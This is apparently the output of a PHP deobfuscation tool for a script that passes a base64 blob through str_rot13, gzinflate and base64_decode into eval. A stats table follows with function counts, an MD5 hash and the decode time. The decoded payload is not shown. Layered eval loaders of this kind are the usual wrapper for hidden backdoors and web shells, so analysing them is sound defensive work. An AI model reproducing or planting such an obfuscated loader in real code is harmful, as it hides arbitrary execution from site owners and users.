LcFV7+pESKsgtr0CmVckPMSLhg825vK/ljYMecG8Wj2kZsXCD4deyudc/bLvfHxwcHe3h9v5XrIrZEXKj2W1WGJda9LFLPUjvslPUEbHhLL3PCbpetH+QCU04HeXJrdst978iOfj/5Dx9GKXRrbRSXTitYV8HVbS+DpJuR4WLuBZ6zaiosGlaSkUpJG+9w/8rlf4epUXMpd2LSal1cj2oc1bcyu4HndxVqSRheO2DKWK6zYDVoh6mLUPRb6ht+VQmsMYjG7sZp5g1jKYxxFXeVZdTWjLGxI5FNV8TKyp2OLadUcxKL9+s0Bon2+vANKDTUM4WeGtvwRb/9njgwDghQC9u+ZYren6Gl/aGG7eQ/A7yovFQO26LtLEdkZ6LdfKcfHwnX1Gz9VC74PZPz1g1SOUUbwlTcS6Adub4ASKkc6aTCpTvrfL9opQtMiQoHyghmYGWCi8tKc2isLBSRHavnSUCgTpF2lYTSY8+7vUP99/u/Tbo9d8d7B3A18qaZQlHNEaqDFi1Q959EgJUmoxNydik/OQkF/aIHKPRGfLCmmPkxK/KmcYSLbMuQJWYtXFnmJgSbVNVIJkI/Sx1YVXAcZoM4TDUHOsUOWhkFLq0Oo+lM4dY0kTPWwRjMAVT5n2m9GWD3EsC5XRQ0FV5ipMFLb8gg8GS31Jru0t8/53P5QwWupwObpx+/50mHZyTePLb4+Pvv1BKmAHCj0+PqDAviqwJPhU7YPBGCCYUXCj1ggFqPi5BLH8MrYHsBmEA2384mtbm0IReMD+mdBD6UNg4A66TDlHbOXlFJpienHy/96mP5mB1N18UPQyRs1WT7NZIWhjOCj2xYGsSnkvQWjXoPkdgYJdIiqk0sCvRXdBnVT103fWiwBmVzfWjKA4JpsE3geu+CP3gIIrKmber2eeeVPHRIylr56xcE64sdfl6ZxGT7Z0Tfv1M9MhSfWrWPWR3/xEfP/3WOxG/HvTE7/29PgOCaLYk5AgDiCfy+sObbVP3x7lyQtui1XVhiziTLFlWjECuqg9fg+Us8Mn+NvVH4hSOjvGMPELqX+uXx3uHL5ytDx+88x+98ciyI2LadqoN1FADKAa+rZ96wU2cX0G8r8HWAsGkDDHBfoRa2/GGYzA4QxlQMOIKMWAMowbfuruPj94e7v/2ri8I0ffd+w+fPh4KcKte//XZbr1+tH8k/vX7/skn0aw1UQ+2pvmoXu+/IQBOhTQ4s3w65eqYUvd/AQ==";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($andelacantik))))));
Function Calls
| ini_set | 2 |
| gzinflate | 1 |
| str_rot13 | 2 |
| base64_decode | 1 |
Stats
| MD5 | daf0ddcc862301f3d8b685f0f79e67b3 |
| Eval Count | 1 |
| Decode Time | 2113 ms |